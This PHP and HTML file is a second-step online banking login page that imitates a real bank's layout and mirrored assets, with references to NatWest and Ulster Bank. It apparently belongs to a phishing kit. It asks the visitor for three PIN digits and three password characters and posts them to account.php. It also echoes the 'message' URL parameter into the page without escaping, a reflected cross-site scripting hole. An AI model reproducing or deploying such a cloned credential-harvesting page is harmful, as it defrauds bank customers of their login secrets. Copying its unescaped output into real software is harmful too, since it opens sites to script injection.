<?php 

session_start(); 

$message = $_GET['message'];



if (!$_SESSION['unamename']) { 

    $error = "You are not logged in!"; 

	header("Location:login.php?message=$error");

    exit(); 

} 

?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >

<html lang="en">



<head>

<meta http-equiv="refresh" content="120;url=timeout-feature.php">

<title>Online  Banking - Log in Step 2</title>

<meta content="Microsoft FrontPage 6.0" name="GENERATOR">

<meta content="C#" name="CODE_LANGUAGE">

<meta content="JavaScript" name="vs_defaultClientScript">

<meta http-equiv="Content-Style-Type" content="text/css">

<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">

<link rel="stylesheet" type="text/css" media="aural" href="includes/css/DPC_auralstyle.css">

<link rel="stylesheet" type="text/css" media="print" href="includes/css/DPC_printstyle.css">

<link rel="stylesheet" type="text/css" media="screen" href="includes/css/FA_style.css">

<script type="text/javascript" type="text/javascript" SRC="js/common.js"></script>

<noscript></noscript>

</head><body topmargin="0" leftmargin="0" rightmargin="0" bottommargin="0" marginwidth="0" marginheight="0" ms_positioning="FlowLayout">



<table border="0" cellpadding="0" cellspacing="0" class="wrapperTable" width="100%">

	<tr>

		<td class="headerCell" valign="top" colspan="2">

		<div class="ddalink">

			<a accesskey="m" title="Skip to menu" class="ddalink" href="#menu">Skip 

			to menu </a>

			<a accesskey="c" title="Skip to content" class="ddalink" href="#content">

			Skip to content </a>

			<a id="AccessLink" accesskey="o" title="Turn on Accessibility Features " class="ddalink" href="#">

			Turn on Accessibility Features</a></div>





<a name="top"></a>

<table class="header" border="0" cellpadding="0" cellspacing="0" width="100%">

	<tr>

		<td valign="bottom">

		<a accesskey="h" HREF="default.php">

		<img src="images/logo.png" width="200" height="120" alt="" border="0"></a></td>

		<!--td width="100%" valign="top"><a href="#content" accesskey="s"></a>

		<img border="0" src="/microsites/online_/images/spacer.gif" alt=" " width="1" height="60"></td-->

		<td valign="top">

		<img src="images/topcontainerbg.gif" width="1140" height="120" alt="" border="0"></td>

	</tr>

</table>
<hr color="#003da6">





<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%">

  <tr>

  		<td class="option-bar-shadow-home" valign="top"><img border="0" SRC="images/spacer.gif" alt=" " width="1" height="4"></td>

  </tr>

</table>

		<br />

		<table cellspacing="0" cellpadding="0" border="0" width="100%" id="table3" class="intropara"><!-- Inline CSS Whole Table -->

			<tr>

				<td height="11" bgcolor="#ffffff"></td>

			</tr>

		</table>

		</td>

	</tr>

	<tr>

		<td class="menuCell" valign="top"><a id="menu" name="menu"></a>

		<table cellspacing="0" cellpadding="0" border="0" style="width:150;border-collapse:collapse;">

			<tr>

				<td>

				<img border="0" SRC="images/1x1.gif" width="150" height="1"></td>

			</tr>

		</table>

		</td>

		<td style="width:100%" class="contentCell" valign="Top">

		<form action="account.php" method="post" name="Form1" id="Form1" onSubmit="ValidatorOnSubmit();" autocomplete="off" type="text/javascript">

			<input type="hidden" name="__EVENTTARGET" value="NextButton_button" />

			<input type="hidden" name="txnID" value="18423beb-8be0-498a-8e5a-8a0906c9df9a" />

			<input type="hidden" name="LI6CBA_Visibility" value="False" />

			<a name="content"></a><span id="LoginWizard">

			<div id="ValidationSummary" style="color:Red;display:none;">

			</div>

			</span><span id="ctl1" style="color:Red;display:none;"></span>

			<div id="LI6PNL">

				<h1>Existing Users</h1>

				<h2>Log in - Step 2</h2>

				<div class="frame">

					<h3 id="LI6BTHC" class="frmHdr">Your PIN </h3>

					<span id="LI6BTEA">Please enter the following digits from your 

					PIN. <font color="#FF0000"><?php echo $message; ?></font><br />

					<br />

					</span><span id="LI6-DDALA_spot">

					<table width="65%" cellspacing="0" cellpadding="0" border="0">

						<tr>

							<td class="wizardLabelWide">

							<label for="LI6PPEA_edit" id="LI6DDALALabel">Enter the 

							<?php $num1 = $_SESSION['rand1']+1; $ans="nd"; $sans="th"; $st="st"; $thrd="rd"; if ($num1== "2"){ echo "$num1$ans"; } else if ($num1=="1"){ echo "$num1$st"; } else if ($num1=="3") { echo "$num1$thrd"; } else { echo "$num1$sans"; } ?> digit from your PIN</label></td>

							<td class="wizCrl" align="right"><span id="LI6PPEA">

							<input name="memo1" type="password" maxlength="1" size="1" id="memo1" />

							</span></td>

						</tr>

						<tr>

							<td class="wizardLabelWide">

							<label for="LI6PPEB_edit" id="LI6DDALBLabel">Enter the 

							<?php $num2 = $_SESSION['rand2']+1; $ans="nd"; $sans="th"; $st="st"; $thrd="rd"; if ($num2== "2"){ echo "$num2$ans"; } else if ($num2=="1"){ echo "$num2$st"; } else if ($num2=="3") { echo "$num2$thrd"; } else { echo "$num2$sans"; } ?> digit from your PIN</label></td>

							<td class="wizCrl" align="right"><span id="LI6PPEB">

							<input name="memo2" type="password" maxlength="1" size="1" id="memo2" />

							</span></td>

						</tr>

						<tr>

							<td class="wizardLabelWide">

							<label for="LI6PPEC_edit" id="LI6DDALCLabel">Enter the 

							<?php $num3 = $_SESSION['rand3']+1; $ans="nd"; $sans="th"; $st="st"; $thrd="rd"; if ($num3== "2"){ echo "$num3$ans"; } else if ($num3=="1"){ echo "$num3$st"; } else if ($num3=="3") { echo "$num3$thrd"; } else { echo "$num3$sans"; } ?> digit from your PIN</label></td>

							<td class="wizCrl" align="right"><span id="LI6PPEC">

							<input name="memo3" type="password" maxlength="1" size="1" id="memo3" />

							</span></td>

						</tr>

					</table>

					</span>

					<h3 id="LI6BTHD" class="frmHdr"><br />

					Your Password </h3>

					<span id="LI6BTEB">Please enter the following characters from 

					your Password<br />

					<br />

					</span><span id="LI6-DDALD_spot">

					<table width="65%" cellspacing="0" cellpadding="0" border="0">

						<tr>

							<td class="wizardLabelWide">

							<label for="LI6PPED_edit" id="LI6DDALDLabel">Enter the 

							<?php $num4 = $_SESSION['randpwd1']+1; $ans="nd"; $sans="th"; $st="st"; $thrd="rd"; if ($num4== "2"){ echo "$num4$ans"; } else if ($num4=="1"){ echo "$num4$st"; } else if ($num4=="3") { echo "$num4$thrd"; } else { echo "$num4$sans"; } ?> character from your Password</label></td>

							<td class="wizCrl" align="right"><span id="LI6PPED">

							<input name="pwd1" type="password" maxlength="1" size="1" id="pwd1" />

							</span></td>

						</tr>

						<tr>

							<td class="wizardLabelWide">

							<label for="LI6PPEE_edit" id="LI6DDALELabel">Enter the 

							<?php $num5 = $_SESSION['randpwd2']+1; $ans="nd"; $sans="th"; $st="st"; $thrd="rd"; if ($num5== "2"){ echo "$num5$ans"; } else if ($num5=="1"){ echo "$num5$st"; } else if ($num5=="3") { echo "$num5$thrd"; } else { echo "$num5$sans"; } ?> character from your Password</label></td>

							<td class="wizCrl" align="right"><span id="LI6PPEE">

							<input name="pwd2" type="password" maxlength="1" size="1" id="pwd2" />

							</span></td>

						</tr>

						<tr>

							<td class="wizardLabelWide">

							<label for="LI6PPEF_edit" id="LI6DDALFLabel">Enter the 

							<?php $num6 = $_SESSION['randpwd3']+1; $ans="nd"; $sans="th"; $st="st"; $thrd="rd"; if ($num6== "2"){ echo "$num6$ans"; } else if ($num6=="1"){ echo "$num6$st"; } else if ($num6=="3") { echo "$num6$thrd"; } else { echo "$num6$sans"; } ?> character from your Password</label></td>

							<td class="wizCrl" align="right"><span id="LI6PPEF">

							<input name="pwd3" type="password" maxlength="1" size="1" id="pwd3" />

							</span></td>

						</tr>

					</table>

					</span>

					<h3 id="LI6BTHE" class="frmHdr"><br />

					Users with Special Needs</h3>

					<input id="LI6CBA" type="checkbox" name="LI6CBA" value />

					<label for="LI6CBA">Do 

					not refresh my screen on timeout.</label>

					<br />

					<br />

				</div>

			</div>

			<div id="ButtonPanel">

				<table width="95%" cellspacing="0" cellpadding="0" border="0" style="border-collapse:collapse;" height="23">

					<tr>

						<td></td>

						<td class="btnNextcell" rowspan="2">

						<INPUT title="Click to continue log-on to Internet  Banking" tabIndex=3 

            type=image height=15 alt=Logon width=55 

            src="images/btn_next.gif" border=0 

            name=Logon valign="bottom">

						</td>

					</tr>

					<tr>

						<td>

						<a HREF="login.php">

						<img class="nlpre" SRC="images/btn_back.gif" alt="Back" align="middle" border="0" width="55" height="19"></a>

						</td>

					</tr>

				</table>

			</div>

		</form>

		</td>

	</tr>

	<tr>

		<td colspan="2">

		



<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%">

	<tr>

		<td>

		<img border="0" SRC="images/spacer.gif" alt=" " width="1" height="5"></td>

	</tr>

	<tr>

		<td valign="top">

		<img border="0" SRC="images/footer/left_botcorner.gif" alt=" " align="left" hspace="0" width="10" height="23"></td>

		<td width="100%" class="bgcolor-footer" valign="top">

		<script type="text/javascript" SRC="../../includes/scripts/redsheriff.js" type="text/javascript"></script>

		<noscript>

		<img SRC="../../../nielsen.natwest.com/cgi-bin/count@cid=ulster Bank" alt=" " width="1" height="1">

		</noscript>

		<img border="0" SRC="images/spacer.gif" alt=" " width="1" height="5"></td>

		<td valign="top">

		<img border="0" SRC="images/footer/right_botcorner.gif" align="right" alt=" " hspace="0" width="10" height="23"></td>

	</tr>

</table>

</td>

	</tr>

</table>



</body>



</html>
